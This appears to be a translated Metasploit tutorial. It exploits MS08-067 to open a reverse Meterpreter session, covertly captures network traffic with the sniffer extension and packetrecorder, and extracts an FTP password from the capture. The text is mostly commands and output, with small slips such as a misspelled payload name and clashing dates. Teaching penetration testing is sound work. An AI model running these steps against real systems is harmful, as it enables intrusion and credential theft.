Meterpreter可以在没有接触硬盘的情况下侦听远程主机。如果我们想要监视发送什么类型的信息,这尤其有用,甚至更好,这可能是多个辅助模块的开始,它们最终将在捕获文件中查找敏感数据。嗅探器模块可将多达200,000个数据包存储在环形缓冲区中,并以标准PCAP格式导出它们,以便您可以使用psnuffle,dsniff,wireshark等进行处理。
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpeter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 10.211.55.126
msf exploit(ms08_067_netapi) > set RHOST 10.10.1.119
msf exploit(ms08_067_netapi) > exploit
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (205824 bytes)
[*] Meterpreter session 1 opened (10.10.1.4:4444 -> 10.10.1.119:1921)
从这里我们启动接口2上的嗅探器并开始收集数据包。然后我们将嗅探器输出转储到/tmp/all.cap。
meterpreter > use sniffer
Loading extension sniffer...success.
meterpreter > help
Sniffer Commands
================
Command Description
------- -----------
sniffer_dump 检索捕获的数据包数据
sniffer_interfaces 列出所有远程可探测接口
sniffer_start 在先前打开的界面上捕获数据包
sniffer_stats 查看活动捕获的统计信息
sniffer_stop 在指定的接口上停止数据包捕获
meterpreter > sniffer_interfaces
1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
2 - 'Intel(R) PRO/1000 MT Network Connection' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
3 - 'Intel(R) PRO/1000 MT Network Connection' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
meterpreter > sniffer_start 2
[*] Capture started on interface 2 (50000 packet buffer)
meterpreter > sniffer_dump 2 /tmp/all.cap
[*] Dumping packets from interface 2...
[*] Wrote 19 packets to PCAP file /tmp/all.cap
meterpreter > sniffer_stats 2
[*] Capture statistics for interface 2
packets: 4632
bytes: 1978363
meterpreter > sniffer_dump 2 /tmp/all.cap
[*] Flushing packet capture buffer for interface 2...
[*] Flushed 5537 packets (3523012 bytes)
[*] Downloaded 014% (524288/3523012)...
[*] Downloaded 029% (1048576/3523012)...
[*] Downloaded 044% (1572864/3523012)...
[*] Downloaded 059% (2097152/3523012)...
[*] Downloaded 074% (2621440/3523012)...
[*] Downloaded 089% (3145728/3523012)...
[*] Downloaded 100% (3523012/3523012)...
[*] Download completed, converting to PCAP...
[-] Corrupted packet data (length:10359)
[*] PCAP file written to /tmp/all.cap
meterpreter > sniffer_stop 2
[*] Capture stopped on interface 2
[*] There are 279 packets (57849 bytes) remaining
[*] Download or release them using 'sniffer_dump' or 'sniffer_release'
meterpreter > sniffer_release 2
[*] Flushed 279 packets (57849 bytes) from interface 2
meterpreter >
我们现在可以使用我们最喜欢的解析器或数据包分析工具来查看拦截的信息。
Meterpreter数据包嗅探器使用MicroOLAP数据包嗅探器SDK,可以从受害者机器嗅探数据包,而无需安装任何驱动程序或写入文件系统。该模块足够智能以实现自己的流量,并会自动从Meterpreter交互中移除任何流量。另外,Meterpreter通过SSL / TLS隧道管理所有信息并且完全加密。
packetrecorder
作为使用嗅探器扩展的替代方法,Carlos Perez编写了记录器Meterpreter脚本,该脚本允许在捕获数据包时获得更多的粒度。要查看哪些选项可用,我们发出“run packetrecorder”命令而不带任何参数。
meterpreter > run packetrecorder
Meterpreter脚本用于将数据包捕获到PCAP文件中
在给定接口ID的目标主机上。
OPTIONS:
-h 帮助菜单。
-i 所有数据包捕获都将完成的接口ID号。
-l 指定和备用文件夹以保存PCAP文件。
-li 列出可用于捕获的接口。
-t 重新收集数据包之间的时间间隔(以秒为单位),默认为30秒。
在我们开始嗅探流量之前,我们首先需要确定哪些接口可供我们使用。
meterpreter > run packetrecorder -li
1 - 'Realtek RTL8139 Family PCI Fast Ethernet NIC' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
2 - 'Citrix XenServer PV Ethernet Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
3 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
我们将开始在第二个界面上嗅探流量,将日志保存到我们的Kali系统的桌面,并让嗅探器运行一段时间。
meterpreter > run packetrecorder -i 2 -l /root/
[*] Starting Packet capture on interface 2
[+] Packet capture started
[*] Packets being saved in to /root/logs/packetrecorder/XEN-XP-SP2-BARE_20101119.5105/XEN-XP-SP2-BARE_20101119.5105.cap
[*] Packet capture interval is 30 Seconds
^C
[*] Interrupt
[+] Stopping Packet sniffer...
meterpreter >
现在有一个捕获文件在等着我们,可以使用Wireshark或tshark等工具进行分析。我们会快速查看我们是否抓住了有趣的东西。
root@kali:~/logs/packetrecorder/XEN-XP-SP2-BARE_20171119.5105# tshark -r XEN-XP-SP2-BARE_20171119.5105.cap |grep PASS
Running as user "root" and group "root". This could be dangerous.
2489 82.000000 192.168.1.201 -> 209.132.183.61 FTP Request: PASS s3cr3t
2685 96.000000 192.168.1.201 -> 209.132.183.61 FTP Request: PASS s3cr3t